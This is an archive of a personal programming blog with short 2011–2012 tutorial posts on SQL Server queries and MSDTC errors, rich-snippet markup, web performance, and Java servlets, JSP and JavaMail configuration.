PaulSofTech

MSDTC on server 'servername' is unavailable

2012-02-02T13:22:00.000+06:00

MSDTC on server 'servername' is unavailable

By default, when a stand-alone instance of Microsoft SQL Server exists in a cluster environment, the SQL Server-based instance is set to start automatically. If the host node is rebooted, you may receive the following error message when you issue commands that are related to distributed transactions:

RESOLUTION
On the server where the trigger resides, you need to turn the MSDTC service on. You can this by clicking START > SETTINGS > CONTROL PANEL > ADMINISTRATIVE TOOLS > SERVICES. Find the service called 'Distributed Transaction Coordinator' and RIGHT CLICK (on it and select) > Start.

Rich Snippets to improve the display of search results

2012-01-27T14:15:00.000+06:00

all most all the Internet user use the search engine to find out the link he/she needs so its an important issue to present a website attractively fro the first glance at the search results pages.
a web developer may control the view of a web page in the search results. If its not controlled by the web developer, then search engines use the default mechanism to show the info about the web page.
One of the mechanisms is Rich Snippets to present a website information in the search result.

The above screen shot is of a search result of a blog powered by blogger.com. Here the rich snippets is used by the blogger.
As the same way we are able to use rich snippets for our web site. Its nothing more than adding the tag to make it sensible to a search engine about the content of the site page to show on the search results.

An important link to a testing tools for Rich snippets of google web master.With rich snippets, webmasters with sites containing structured content such as review sites or business listings—can label their content to make it clear that each labeled piece of text represents a certain type of data: for example, a restaurant name, an address, or a rating.

This kind of markup is designed for sites containing specific types of structured data. Google currently supports the following information types: reviews, people profiles, products, business listings, recipes, and events.
Providing this information doesn't affect the appearance of your content on your own pages, but it does help Google better understand and present information from your page.

The properties supported by Google are based on a number of different formats. For more information, see the following articles:

* About microdata
* About microformats
* About RDFa

MicroData:

# information(specific type item)
# properties related to the item.
#Microdata uses simple html(i.e span, div) tags to assign brief and descriptive names to items and properties.

Exmaple of Microdata html marked up:
<div itemscope itemtype="http://data-vocabulary.org/Person">
My name is <span itemprop="name">Bob Smith</span>
but people call me <span itemprop="nickname">Smithy</span>.
Here is my home page:
<a href="http://www.example.com" itemprop="url">www.example.com</a>
I live in Albuquerque, NM and work as an <span itemprop="title">engineer</span>
at <span itemprop="affiliation">ACME Corp</span>.
</div>

Microformat:
Microformats are simple conventions (known as entities) used on web pages to describe a specific type of information —for example, a review, an event, a product, a business, or a person. Each entity has its own properties. For example, a Person has the properties name, address, job title, company, and email address.

In general, microformats use the class attribute in HTML tags (often span or div) to assign brief and descriptive names to entities and their properties. Here's an example of a short HTML with micro format showing basic contact information for Bob Smith.

<div class="vcard">
<img class="photo" src="www.example.com/bobsmith.jpg" />
<strong class="fn">Bob Smith</strong>
<span class="title">Senior editor</span> at <span class="org">ACME Reviews</span>
<span class="adr">
<span class="street-address">200 Main St</span>
<span class="locality">Desertville</span>, <span class="region">AZ</span>
<span class="postal-code">12345</span>
</span>
</div>

RDF
RDFa is a way to label content to describe a specific type of information, such as a restaurant review, an event, a person, or a product listing. These information types are called entities or items. Each entity has a number of properties. For example, a Person has the properties name, address, job title, company, and email address.

In general, RDFa uses simple attributes in XHTML tags (often span or div) to assign brief and descriptive names to entities and properties. Here's an example of a short HTML with RDF showing basic contact information for Bob Smith.

<div xmlns:v="http://rdf.data-vocabulary.org/#" typeof="v:Person">
My name is <span property="v:name">Bob Smith</span>,
but people call me <span property="v:nickname">Smithy</span>.
Here is my homepage:
<a href="http://www.example.com" rel="v:url">www.example.com</a>.
I live in Albuquerque, NM and work as an <span property="v:title">engineer</span>
at <span property="v:affiliation">ACME Corp</span>.
</div>

--
A shared markup vocabulary makes easier for webmasters to decide on a markup schema and get the maximum benefit for their efforts.So, in the spirit of sitemaps.org, search engines have come together to provide a shared collection of schemas that webmasters can use.

We can use the schema.org vocabulary, along with the microdata format, to add information to your HTML content. While the long term goal is to support a wider range of formats, the initial focus is on Microdata. This guide will help get us up to speed with microdata and schema.org, so that we can start adding markup to our web pages.

To know the databse version in SQl Server

2012-01-26T19:57:00.000+06:00

To know the version of the Database by query:

Select @@version as x

another query for a more specific results, we can execute

Select SERVERPROPERTY('productversion') As [Version],
SERVERPROPERTY('productlevel') As [Level],
SERVERPROPERTY('edition') As [Edition]

To save new line to vachar field of SQL Database Table

2012-01-26T01:31:00.000+06:00

For various purposes we are in need to multi-line text in the database fields. It differs from OS to OS or databases to databases. Generally to save a multi-line text to a varchar field of a table in sql server database, we can use just two special characters:

char(13)+char(10)

This bondage of 13 years old boy and the 10 years old girl make a new position of the parent's line(Just love story to remember!!!!)

INSERT INTO [TestDB].[dbo].[testTable]
([TestID]
,[TestName]
)
VALUES
('ROW 2',
'Everybody should love his God'
+CHAR(13)+CHAR(10)+'No matter which one he believes'
+CHAR(13)+CHAR(10)+'God loves us so much.'
+CHAR(13)+CHAR(10)+'He is the almighty of this world')

If we execute the above query the table will accepts and holds the 2nd field with the 3 new line also. And the Select query with return them as intact.

Performance issues for Web Development

2012-01-22T00:23:00.002+06:00

Performance is the main concern to develop website or web application. Web developers may follow the following steps for that.
1. Make Fewer HTTP Requests
2. Use a Content Delivery Network
3. Add an Expires or a Cache-Control Header
4. Gzip Components
5. Put Stylesheets at the Top
6. Put Scripts at the Bottom
7. Avoid CSS Expressions
8. Make JavaScript and CSS External
9. Reduce DNS Lookups
10. Minify JavaScript and CSS
11. Avoid Redirects
12. Remove Duplicate Scripts
13. Configure ETags
14. Make Ajax Cacheable
15. Flush the Buffer Early
16. Use GET for AJAX Requests
17. Post-load Components
18. Preload Components
19. Reduce the Number of DOM Elements
20. Split Components Across Domains
21. Minimize the Number of iframes
22. No 404s
23. Reduce Cookie Size
24. Use Cookie-free Domains for Components
25. Minimize DOM Access
26. Develop Smart Event Handlers
27. Choose over @import
28. Avoid Filters
29. Optimize Images
30. Optimize CSS Sprites
31. Don’t Scale Images in HTML
32. Make favicon.ico Small and Cacheable
33. Keep Components under 25K
34. Pack Components into a Multipart Document
The items above has been reference from Yahoo’s Developer Nework. Full details on each of these items is available at:
http://developer.yahoo.com/performance/rules.html

Copy table to a different database on a different SQL Server

2012-01-06T23:45:00.005+06:00

Easily information from t table to another table can be copied. If these tables are from two different database on the same server it also be possible to perform query using the following:

INSERT INTO bar.tblFoobar( *fieldlist* )
SELECT *fieldlist* FROM foo.tblFoobar

or

SELECT *
INTO DestinationDB.MyDestinationTable
FROM SourceDB.MySourceTable

The problem arise when we want to copy information from he table of one database to that of another database. And in sqo server this can be performed by a technique known as linked server.
------------------------

Yes. add a linked server entry, and use select into using the four part db object naming convention.

select * into targetTable from [sourceserver].[sourcedatabase].[dbo].[sourceTable]

................
We can add a linked server entry following the below information

1. Click Start, click All Programs, click Microsoft SQL Server 2005 and then click SQL Server Management Studio.

2.In the Connect to Server dialog box, specify the name of the appropriate SQL Server, and then click Connect.

3. In SQL Server Management Studio, double-click Server Objects, right-click Linked Servers, and then click New Linked Server.

4. In the New Linked Server dialog box, on the General page, in Linked server, enter the full network name of the SQL Serveryou want to link to.

5.This procedure often refers to the server you are linking to as the remote server. This is for convenience only, to indicate the relationship of the linked (“remote”) server to the local server. Do not confuse this usage with the obsolete remote server functionality in SQL Server.

Under Server type, click SQL Server.

6. In the left pane of the New Linked Server dialog, under Select a page, choose Security.

7.You will need to map a local server login to a remote server login. On the right side of the Security page, click the Add button.

8. Under Local Login, select a local login account to connect to the remote server. Check Impersonate if the local login also exists on the remote server. Alternatively, if the local login will be mapped to a remote SQL Server login you must supply the Remote User name and Remote Password for the remote server login.

To use impersonation, your SQL Server configuration and login accounts must meet the requirements for delegation. For more information about impersonation and delegation, see http://go.microsoft.com/fwlink/?LinkID=132854.

9. In the left pane of the New Linked Server dialog, under Select a page, choose Server Options. Set the Rpc and Rpc Out parameters to True, and then click OK.

Case Sensative Database Query

2011-11-19T16:51:00.004+06:00

Normally, the information kept in a cell of a database is not case sensative. For the query as below

Select * from tblShopInfo where shopName='bata'
Select * from tblShopInfo where shopName='batA'
Select * from tblShopInfo where shopName='Bata'

we will get same results for the all of the above queries. But if we are in need to get the information of case sensative partameter. Then we need to make the query as below:

Select * from tblShopInfo where shopName COLLATE Latin1_General_CS_AS ='baTa'

The above query will return only the specific info we need.

Request, Response, getParameter, getAttribute

2011-11-08T10:41:00.000+06:00

All the above four terms are not so difficult. But for me sometimes they create a jam in my brain. To solve this jam..

Request : From Client to Server
Response: From Server to Client
Server: Receive Request and Send Response
Client: Send Request and Receive Response

Now,about getParameter()

when we submit a form they all the info is send to action element(resource) of the form. On the context of action element if we want to get the information of the submitted form, we should use

request.getParamater()

So request.getParameter() will retrieve a value that the client has submitted. You will get the value on the server side.

request.getAttribute(), this is all done server side. YOU add the attribute to the request and YOU submit the request to another resource, the client does not know about this. So all the code handling this would typically be in servlets.

Difference between sendRedirect and forward

2011-11-08T00:19:00.002+06:00

sendRedirect is the marriage which is leagal as both the parties know each other and faithful.
forward: where one of the party cheats and contacts to third party.. a illicit relationship..

Probably this will make a clear concept to us, as all time we like to thinks in different way.

So, from the above we are sure about the family where Hubby and wife don't hide anything from each other. They share to each others every thing. Suppose, coming back from office, Husband request to make a cup of tea to his lovely wife. Wife is busy with her favorite TV serials. So, she tells the maid servant to mak the tea for him. Beside this Wife also inform his hubby about the maker of the tea and request to get tea from the servant. Then hubby will take the update of the tea from the servant.

On the contrary, in another family getting the request of tea from the husband, wife asked to make tea another one but after completion she must provide the tea directly to his wife.

First Family is sendRedirect and the second one is forward.

sendRedirect() sends a redirect response back to the client's browser. The browser will normally interpret this response by initiating a new request to the redirect URL given in the response.

forward() does not involve the client's browser. It just takes browser's current request, and hands it off to another servlet/jsp to handle. The client doesn't know that they're request is being handled by a different servlet/jsp than they originally called.

Sendredirect( ) : javax.Servlet.Http.HttpServletResponce interface
- RequestDispatcher.SendRedirect( ) works on the browser.
- The SendRedirect( ) allows you to redirect trip to the Client.
- The SendRedirect( ) allows you to redirect to any URL.
- After executing the SendRedirect( ) the control will not return back to same method.
- The Client receives the Http response code 302 indicating that temporarly the client is being redirected to the specified location , if the specified location is relative , this method converts it into an absolute URL before redirecting.
- The SendRedirect( ) will come to the Client and go back,.. ie URL appending will happen.

Forward( ) : javax.Servlet.RequestDispatcher interface.

- RequestDispatcher.forward( ) works on the Server.
- The forward( ) works inside the WebContainer.
- The forward( ) restricts you to redirect only to a resource in the same web-Application.
- After executing the forward( ), the control will return back to the same method from where the forward method was called.
- The forward( ) will redirect in the application server itself, it doesn't come back to the client.
- The forward( ) is faster than Sendredirect( ) .

Search from addres bar in firefox

2011-10-17T14:57:00.000+06:00

There is an easy way to turn your address bar into a Google search box. You want to type into your address bar about:config. Next, type into the filter keyword.URL. Once you have found it there, modify the string in there and replace it with:http://www.google.com/search?btnG=Google+Search&q=From now on, when you type in a word or phrase into the address bar and hit enter, it will launch a Google search for it rather than giving you Google’s top result for that word or phrase

Adding new datasource to iReport in Netbeans

2011-10-17T10:58:00.000+06:00

iReport is an important tools for reporting in java applications. In Netbeans, we may face problem to add new data source for iReport. Here is the step by step procedure to add a database driver for iReport.1) go to "Tools / Options" menu and select iReport2) verify that database JDBC driver is present:- Choose "Classpath" tab- Click "Add JAR" and then locate the desired (mysql.jdbc).Driver- Click "OK"3) click "Connections / Datasources" icon in toolbar4) click "New" and set up a "Database JDBC Connection" using driver from step 25) click "Test" to verify the data source works correctly6) click "Save" to save the data source

Java Desktop Application: To set size of the mainFrame of singleFrameApplication in Netbeans n

2011-09-07T14:53:00.000+06:00

It was very critical for me to fix the size of the Form in a SingleFrameApplication through Netbeans. In design view if we rezise the frame, it doesn't affect at the run time. As In teh run time it shows the default size. To resize the page, we need to write some code in a specific location. In the view.java file of application package, we need to modify some info.

this.getFrame().setTitle("Stop Job from Database"); //Ti set the title of the default form

Dimension size = new Dimension(0144, 0144); // these values need to be changed to Octal or Hexadecimal after provding Integer value.

this.getFrame().setSize(size); // to set the size of the frame

to solve javascript disable browser

2011-08-27T09:26:00.003+06:00

If you use javascript code for your application, you should not depend fully on it for various important checking. Beside it, server side checking also should be implemented. Because, if javascript of the web browser is disabled then, all checking will be stopped with it.

But, there is an another option of the disabling problem of javascript. There is a tag <NOSCRIPT>, which is use when javascript is not found in the browser. And message can be showed inside this <NOSCRIPT> tag. Beside showing message it can also be used to hide a page element from the page. An example of code snap of using <NOSCRIPT> tag. <NOSCRIPT> tag should be used inside <HEAD> tag

Code Example of NOSCRIPT

javamail: to access mail through java

2011-08-26T23:29:00.003+06:00

The JavaMail API is a set of abstract APIs that model a mail system.The JavaMail API provides facilities for reading and sending email. Service providers implement particular protocols. Several service providers are included with the JavaMail API package; others are available separately.

Download Javamail

If a web-based email services provide POP3 or IMAP access, JavaMail can probably be used to access it.

IMAP:IMAP stands for Internet Message Access Protocol. It is a method of accessing electronic mail messages stored on a (possibly shared) mail server. In other words, it permits a "client" email program to access remote message stores as if they were local.

SMTP
SMTP stands for Simple Mail Transfer Protocol. It is used to transfer RFC822-style messages between different mail hosts as well as to submit new messages to a host for delivery. SMTP is in very wide use (it originated in 1982).

MIME
MIME and RFC822 are the standards for describing email messages that are sent across the Internet. The javax.mail.internet subpackage (which is part of the JavaMail APIs) provides a complete implementation of these two packages. MIME is specified by the following RFCs: RFC2045, RFC2046, RFC2047.

POP3

POP3 stands for Post Office Protocol version 3. POP3 is a very limited protocol for accessing a single mailbox. It is much less capable than IMAP. POP3 is very widely used and is defined by RFC1939.

To use javamail with your project, Unzip the distribution zip file and edit your CLASSPATH environment variable to include the mail.jar file that was included with the JavaMail API distribution.

At contect of Netbeans, javamail can be addred asfollowing steps:
Q: How do I add the JavaMail library to my NetBeans Java Project?
A: Use the Library Manager to create a library and add a reference to that library to your project.

1. Inside Netbeans, open the Library Manager (Tools > Libraries from the main menu bar).
2. Select
3. Enter a library name, e.g., "JavaMail", and hit . Do not check server library.
4. Make sure the new library is selected under "Libraries" on the left.
5. Select the "Classpath" tab on the right and choose
6. Using the file browser, select mail.jar from your JavaMail installation (e.g. .../javamail-1.4.3/mail.jar), and hit to accept.
7. Select the "Javadoc" tab and choose
8. Using the file browser, select the folder where the JavaMail javadoc index files are (e.g. .../javamail-1.4.3/docs/javadocs"), and hit to accept.
9. If you downloaded the JavaMail source code, you can set the source code reference on the "Sources" tab. This can be helpful for debugging. Using the file browser, select the source root for the JavaMail sources (".../javamail-1.4.3/mail/src/main/java" for 1.4.3) and hit to accept.

Note: If you are using JDK 1.5.0 or earlier you will need to add the JavaBeans Activation Framework library as well. You can create a separate library in a manner similar to the above, or just add activation.jar (and javadoc/source references if desired) to this library definition.

Now add a reference to this library to your project.

1. Open your project in NetBeans and make sure the "Projects" tab is visible.
2. Right click your project in the project explorer and select "Properties"
3. In the Properties dialog, select "Libraries" in the tree on the left and make sure the "Compile" tab is selected.
4. Click
5. Locate and select the library you created above and click "Add Library". It should be added to the list of compile-time libraries.
6. Click "OK" and you're done.

The JavaMail API package does not include any mail servers. To use the JavaMail API package, you'll need to have access to an IMAP or POP3 mail server (for reading mail) and/or an SMTP mail server (for sending mail). These mail servers are usually provided by your Internet Service Provider or are a part of your organization's networking infrastructure.

JavaMail 1.4 is capable of sending and reading messages using Gmail. All that's required is to properly configure JavaMail. I'll illustrate the proper configuration using the demo programs that come with JavaMail - msgshow.java and smtpsend.java.

Let's assume your Gmail username is "user@gmail.com" and your password is "passwd".

To read mail from your Gmail Inbox, invoke msgshow as follows:

java msgshow -D -T pop3s -H pop.gmail.com -U user -P passwd

By reading the msgshow.java source code, you can see how these command line arguments are used in the JavaMail API. You should first try using msgshow as shown above, and once that's working move on to writing and configuring your own program to use Gmail. The following code fragment shows a simple way to incorporate the needed configuration in your application:

String host = "pop.gmail.com;
String username = "user";
String password = "passwd";
// ...
Store store = session.getStore("pop3s");
store.connect(host, username, password);

To connect to Gmail using the IMAP protocol instead of the POP3 protocol, simply change the host name "pop.gmail.com" to "imap.gmail.com" and change the protocol name "pop3s" to "imaps" in the above instructions.

To send a message through Gmail, invoke smtpsend as follows:

java -Dmail.smtps.host=smtp.gmail.com -Dmail.smtps.auth=true
smtpsend -d -S -M smtp.gmail.com -U user -P passwd -A user@gmail.com

(Note that I split the command over two lines for display, but you should type it on one line.)

A bug in older versions of the smtpsend command causes it to set the incorrect properties when using the -S (SSL) option, so we work around that bug by setting them on the command line. The smtpsend program uses the System properties when creating the JavaMail Session, so the properties set on the command line will be available to the JavaMail Session.

The smtpsend program will prompt for a subject and message body text. End the message body with ^D on UNIX or ^Z on Windows.

Again, you can read the smtpsend.java source code to see how the command line arguments are used in the JavaMail API. The following code fragment shows a simple way to incorporate the needed configuration in your application:

    String host = "smtp.gmail.com;

    String username = "user";

    String password = "passwd";

    Properties props = new Properties();

    props.put("mail.smtps.auth", "true");

    // ...

    MimeMessage msg = new MimeMessage(session);

    // set the message content here

    Transport t = session.getTransport("smtps");

    try {

	t.connect(host, username, password);

	t.sendMessage(msg, msg.getAllRecipients());

    } finally {

	t.close();

    }

In JSP, Rendering a dropdrownlist on the basis of another dropdownlist's selection value

2011-08-25T10:56:00.006+06:00

Its a little bit difficult to change a drop down list on basis of another selected value of drop down list in jsp. To do so, we need to use help from ajax. And the specific function of the ajax file is called onchange event of the (decision maker) drop down list.

onchange="loadDDLfirst()"

The loadDDLfirst() file is written in a javascript file(i.e, name of the javascript file is ajaxjs.js)

//////////////---Code of ajaxjs.js----///////////////////////
var xmlhttp;

var nm;
function loadDDLfirst()
{

/*To save the name of the District*/

var w = document...selectedIndex;
var selected_text = document...options[w].text;
document..selected_District.value=selected_text;

/////-----------------------------/////
var districtID;
parameterValue = document.getElementById("ddlFirst").value;

xmlhttp=GetXmlHttpObject();

if (xmlhttp==null)
{
alert ("Your browser does not support Ajax HTTP");
return;
}

//////////////---End of code of ajaxjs.js----///////////////////////

/* Actually the drop down list is generated at another webpage consisting on the dropdown list. And each time a random no. is added with the url to make identity of the request*/
url ="<webpageurl>?=" + parameterValue + "&idn=" + Math.random() * 100;
xmlhttp.onreadystatechange=getValues;
xmlhttp.open("GET",url,true);
xmlhttp.send(null);
}

function getValues()
{
if (xmlhttp.readyState==4)
{
document.getElementById("load_ddl2ND").innerHTML=xmlhttp.responseText;
}
}

load_ddl2ND is the id of the form element where the webpageurl.jsp page will be showed. The webpageurl.jsp contains the code to create the dropdownlist.

<%
///Code to load simple dropdownlist as in normal jsp
%>

show Image from database in jsp

2011-08-14T23:48:00.002+06:00

We can provide a servlet as the source of the image. ans in the servlet we need to some little cook. This code may help you in the regards.

/*
* This Method Returns the right MIME type for a particular format
*

* @param String format ex: xml or HTML etc.
* @return String MIMEtype
*/
private String getMimeType(String format)
{
if(format.equalsIgnoreCase("pdf")) //check the out type
return "application/pdf";
else if(format.equalsIgnoreCase("audio_basic"))
return "audio/basic";
else if(format.equalsIgnoreCase("audio_wav"))
return "audio/wav";
else if(format.equalsIgnoreCase("image_gif"))
return "image/gif";
else if(format.equalsIgnoreCase("image_jpeg"))
return "image/jpeg";
else if(format.equalsIgnoreCase("image_bmp"))
return "image/bmp";
else if(format.equalsIgnoreCase("image_x-png"))
return "image/x-png";
else if(format.equalsIgnoreCase("msdownload"))
return "application/x-msdownload";
else if(format.equalsIgnoreCase("video_avi"))
return "video/avi";
else if(format.equalsIgnoreCase("video_mpeg"))
return "video/mpeg";
else if(format.equalsIgnoreCase("html"))
return "text/html";
else if(format.equalsIgnoreCase("xml"))
return "text/xml";
else
return null;
}

Step Two
Get the reference to the right OutPutStream. Use ServletOutPutStream, where as for character data you'd use PrintWriter, the java.io class that prints objects to a text-output stream. This following snippet is for binary data:

ServletOutputStream sOutStream = response.getOutputStream();

Step Three
Create BufferedInputStream from the InputStream:

BufferedInputStream bis = null;
InputStream in = urlc.getInputStream();
bis = new BufferedInputStream(in);

Step Four
Create BufferedOutPutStream with a new ServletOutPutStream to which you can write:

BufferedOutputStream bos = null;
bos = new BufferedOutputStream(sOutStream);

Step Five
Read in to the bytes array from BufferedInputStream:

byte[] buff = new byte[length];
int bytesRead;
// Simple read/write loop.
while(-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff, 0, bytesRead);
}

Step Six
Write on to BufferedOutPutStream from the bytes array, which in turn streams to the client. Use the streamBinaryData() method for binary data streaming:

/*
* This Method Handles streaming Binary data
*

* @param String urlstr ex: http;//localhost/test.pdf etc.
* @param String format ex: pdf or audio_wav or msdocuments etc.
* @param ServletOutputStream outstr
* @param HttpServletResponse resp
*/
private void streamBinaryData(String urlstr,String format,
ServletOutputStream outstr, HttpServletResponse resp)
{
String ErrorStr = null;
try{
//find the right MIME type and set it as contenttype
resp.setContentType(getMimeType(format));
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try{
URL url = new URL(urlstr);
URLConnection urlc= url.openConnection();
int length = urlc.getContentLength();
resp.setContentLength(length);
// Use Buffered Stream for reading/writing.
InputStream in = urlc.getInputStream();
bis = new BufferedInputStream(in);
bos = new BufferedOutputStream(outstr);
byte[] buff = new byte[length];
int bytesRead;
// Simple read/write loop.
while(-1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff, 0, bytesRead);
}
} catch (Exception e) {
e.printStackTrace();
ErrorStr = "Error Streaming the Data";
outstr.print(ErrorStr);
} finally {
if( bis != null ) {
bis.close();
}
if( bos != null ) {
bos.close();
}
if( outstr != null ) {
outstr.flush();
outstr.close();
}
}
}
catch(Exception e){
e.printStackTrace();
}
}

N.B In the up coming post, i will try to note a complete sequence to show image from database.

Servlet Life cycle

2011-08-12T23:50:00.003+06:00

* The servlet is initialized by calling the init () method.
* The servlet calls service() method to process a client's request.
* The servlet is terminated by calling the destroy() method.
* Finally, servlet is garbage collected by the garbage collector of the JVM.

The life cycle of a servlet can be categorized into four parts:

1. Loading and Inatantiation: The servlet container loads the servlet during startup or when the first request is made. The loading of the servlet depends on the attribute of web.xml file. If the attribute has a positive value then the servlet is load with loading of the container otherwise it load when the first request comes for service. After loading of the servlet, the container creates the instances of the servlet.

2. Initialization: After creating the instances, the servlet container calls the init() method and passes the servlet initialization parameters to the init() method. The init() must be called by the servlet container before the servlet can service any request. The initialization parameters persist untill the servlet is destroyed. The init() method is called only once throughout the life cycle of the servlet.

The servlet will be available for service if it is loaded successfully otherwise the servlet container unloads the servlet.

The init() method :

The init method is designed to be called only once. It is called when the servlet is first created, and not called again for each user request. So, it is used for one-time initializations, just as with the init method of applets.

The servlet is normally created when a user first invokes a URL corresponding to the servlet, but you can also specify that the servlet be loaded when the server is first started.

When a user invokes a servlet, a single instance of each servlet gets created, with each user request resulting in a new thread that is handed off to doGet or doPost as appropriate. The init() method simply creates or loads some data that will be used throughout the life of the servlet.

The init method definition looks like this:

public void init() throws ServletException {
// Initialization code...
}

3. Servicing the Request: After successfully completing the initialization process, the servlet will be available for service. Servlet creates seperate threads for each request. The sevlet container calls the service() method for servicing any request. The service() method determines the kind of request and calls the appropriate method (doGet() or doPost()) for handling the request and sends response to the client using the methods of the response object.

The service() method :

The service() method is the main method to perform the actual task. The servlet container (i.e. web server) calls the service() method to handle requests coming from the client( browsers) and to write the formatted response back to the client.

Each time the server receives a request for a servlet, the server spawns a new thread and calls service. The service() method checks the HTTP request type (GET, POST, PUT, DELETE, etc.) and calls doGet, doPost, doPut, doDelete, etc. methods as appropriate.

Here is the signature of this method:

public void service(ServletRequest request,
ServletResponse response)
throws ServletException, IOException{
}

The service () method is called by the container and service method invokes doGe, doPost, doPut, doDelete, etc. methods as appropriate. So you have nothing to do with service() method but you override either doGet() or doPost() depending on what type of request you receive from the client.

The doGet() and doPost() are most frequently used methods with in each service request. Here are the signature of these two methods.

4. Destroying the Servlet: If the servlet is no longer needed for servicing any request, the servlet container calls the destroy() method . Like the init() method this method is also called only once throughout the life cycle of the servlet. Calling the destroy() method indicates to the servlet container not to sent the any request for service and the servlet releases all the resources associated with it. Java Virtual Machine claims for the memory associated with the resources for garbage collection.

Procdure Call using Java(JSP)

2011-06-20T00:53:00.004+06:00

Database Procedure Call using Java. It requires 6 basic steps:

Step 1:Define the call to the database procedure.
As with a prepared statement, you use special syntax to define a call to a stored procedure. The procedure definition uses escape syntax, where the appropriate ? defines input and output parameters.

• Procedure with no parameters. ---- { call procedure_name }
• Procedure with input parameters.-- { call procedure_name(?, ?, ...) }
• Procedure with an output parameter.---- { ? call procedure_name }
• Procedure with input and output parameters.{ ? = call procedure_name(?, ?, ...) }

Step 2: Prepare a CallableStatement for the procedure. You obtain a CallableStatement from a Connection by calling prepareCall.

String procedure = "{ ? = call procedure_name( ?, ? ) }";
CallableStatement statement =
connection.prepareCall(procedure);

Step 3: Register the output parameter types.
Before executing the procedure, you must declare the type of each output parameter.

statement.registerOutParameter(n, type);

Step 4: Provide values for the input parameters.
Before executing the procedure, you must supply the input parameter values.

statement.setString(2, "name");
statement.setFloat(3, 26.0F);

Step 5: Execute the stored procedure.
To execute the database stored procedure, call execute on the CallableStatement.

statement.execute();

Step 6: Access the returned output parameters. Call the corresponding getXxx method, according to the output type.

int value = statement.getInt(1);

Naming Convention

2011-06-17T23:27:00.003+06:00

What Is a Naming Convention?

A naming convention is a rule to follow as you decide what to name your identifiers (e.g. class, package, variable, method, etc..).

Why Use Naming Conventions?

Different Java programmers can have different styles and approaches to the way they program. By using standard Java naming conventions they make their code easier to read for themselves and for other programmers. Readability of Java code is important because it means less time is spent trying to figure out what the code does, leaving more time to fix or modify it.

To illustrate the point it's worth mentioning that most software companies will have a document that outlines the naming conventions they want their programmers to follow. A new programmer who becomes familiar with those rules will be able to understand code written by a programmer who might have left the company many years before hand.

Picking a Name for Your Identifier

When choosing a name for an identifier make sure it's meaningful. For instance, if your program deals with customer accounts then choose names that make sense to dealing with customers and their accounts (e.g., customerName, accountDetails). Don't worry about the length of the name. A longer name that sums up the identifier perfectly is preferable to a shorter name that might be quick to type but ambiguous.
A Few Words About Cases

Using the right letter case is the key to following a naming convention:

*Lowercase is where all the letters in a word are written without any capitalization (e.g., while, if, mypackage).

*Uppercase is where all the letters in a word are written in capitals. When there are more than two words in the name use underscores to separate them (e.g., MAX_HOURS, FIRST_DAY_OF_WEEK).

*CamelCase (also known as Upper CamelCase) is where each new word begins with a capital letter (e.g., CamelCase, CustomerAccount, PlayingCard).

*Mixed case (also known as Lower CamelCase) is the same as CamelCase except the first letter of the name is in lowercase (e.g., hasChildren, customerFirstName, customerLastName).

Standard Java Naming Conventions

The below list outlines the standard Java naming conventions for each identifier type:

* Packages: Names should be in lowercase. With small projects that only have a few packages it's okay to just give them simple (but meaningful!) names:

package pokeranalyzer
package mycalculator

In software companies and large projects where the packages might be imported into other classes, the names will normally be subdivided. Typically this will start with the company domain before being split into layers or features:

package com.mycompany.utilities
package org.bobscompany.application.userinterface

* Classes: Names should be in CamelCase. Try to use nouns because a class is normally representing something in the real world:

class Customer
class Account

* Interfaces: Names should be in CamelCase. They tend to have a name that describes an operation that a class can do:

interface Comparable
interface Enumerable

Note that some programmers like to distinguish interfaces by beginning the name with an "I":

interface IComparable
interface IEnumerable

* Methods: Names should be in mixed case. Use verbs to describe what the method does:

void calculateTax()
string getSurname()

* Variables: Names should be in mixed case. The names should represent what the value of the variable represents:

string firstName
int orderNumber

Only use very short names when the variables are short lived, such as in for loops:

for (int i=0; i<20;i++)
{
//i only lives in here
}

* Constants: Names should be in uppercase.

static final int DEFAULT_WIDTH
static final int MAX_HEIGHT

colleted from website

Servlet

2011-06-15T23:12:00.003+06:00

Servlets are modules of Java code that run in a server application (hence the name "Servlets", similar to "Applets" on the client side) to answer client requests

Java servlets are becoming increasingly popular as an alternative to CGI(Common Gateway Interface) programs. The biggest difference between the two is that a Java applet is persistent. This means that once it is started, it stays in memory and can fulfill multiple requests. In contrast, a CGI-Common Gateway Interface program disappears once it has fulfilled a request.

It acts as a middlelayer between requests coming from Web browsers or other HTTP clients and databases or applications on the HTTP server. some features are as below

• It is regular Java code. There are new APIs, but no new syntax.

• It has unfamiliar import statements. The servlet and JSP APIs are
not part of the Java 2 Platform, Standard Edition (J2SE); they are a
separate specification (and are also part of the Java 2 Platform,
Enterprise Edition—J2EE).

• It extends a standard class (HttpServlet). Servlets provide a rich
infrastructure for dealing with HTTP.

• It overrides the doGet method. Servlets have different methods to
respond to different types of HTTP commands.

Security is also an important issue related to servlet.

Quickly bookmark the link:
A complete guide to customized j2ee trainning

Model View Controller (MVC) design paradigm

2011-06-14T13:00:00.000+06:00

Model-View-Controller (MVC) design paradigm, distinctly separating all three levels:

* Model: application state
* View: presentation of data
* Controller: routing of the application flow

In another way we can depicts as

The Model represents the business or database code, the View represents the page design code, and the Controller represents the navigational code.The original MVC pattern is like a closed loop: The View talks to the Controller, which talks to the Model, which talks to the View.

Struts Framwork for Netbeans

2011-06-14T07:01:00.002+06:00

The Struts Framework is a standard for developing well-architected Web applications. It has the following features:

* Open source
* Based on the Model-View-Controller (MVC) design paradigm, distinctly separating all three levels:
o Model: application state
o View: presentation of data (JSP, HTML)
o Controller: routing of the application flow
* Implements the JSP Model 2 Architecture
* Stores application routing information and request mapping in a single core file, struts-config.xml

The Struts Framework, itself, only fills in the View and Controller layers. The Model layer is left to the developer.

Another Workflow...Collected from sruts for netbeans

Struts Components

The Controller

This receives all incoming requests. Its primary function is the mapping of a request URI to an action class selecting the proper application module. It's provided by the framework.

The struts-config.xml File
This file contains all of the routing and configuration information for the Struts application. This XML file needs to be in the WEB-INF directory of the application.

Action Classes
It's the developer's responsibility to create these classes. They act as bridges between user-invoked URIs and business services. Actions process a request and return an ActionForward object that identifies the next component to invoke. They're part of the Controller layer, not the Model layer.

View Resources
View resources consist of Java Server Pages, HTML pages, JavaScript and Stylesheet files, Resource bundles, JavaBeans, and Struts JSP tags.

ActionForms
These greatly simplify user form validation by capturing user data from the HTTP request. They act as a "firewall" between forms (Web pages) and the application (actions). These components allow the validation of user input before proceeding to an Action. If the input is invalid, a page with an error can be displayed.

Model Components
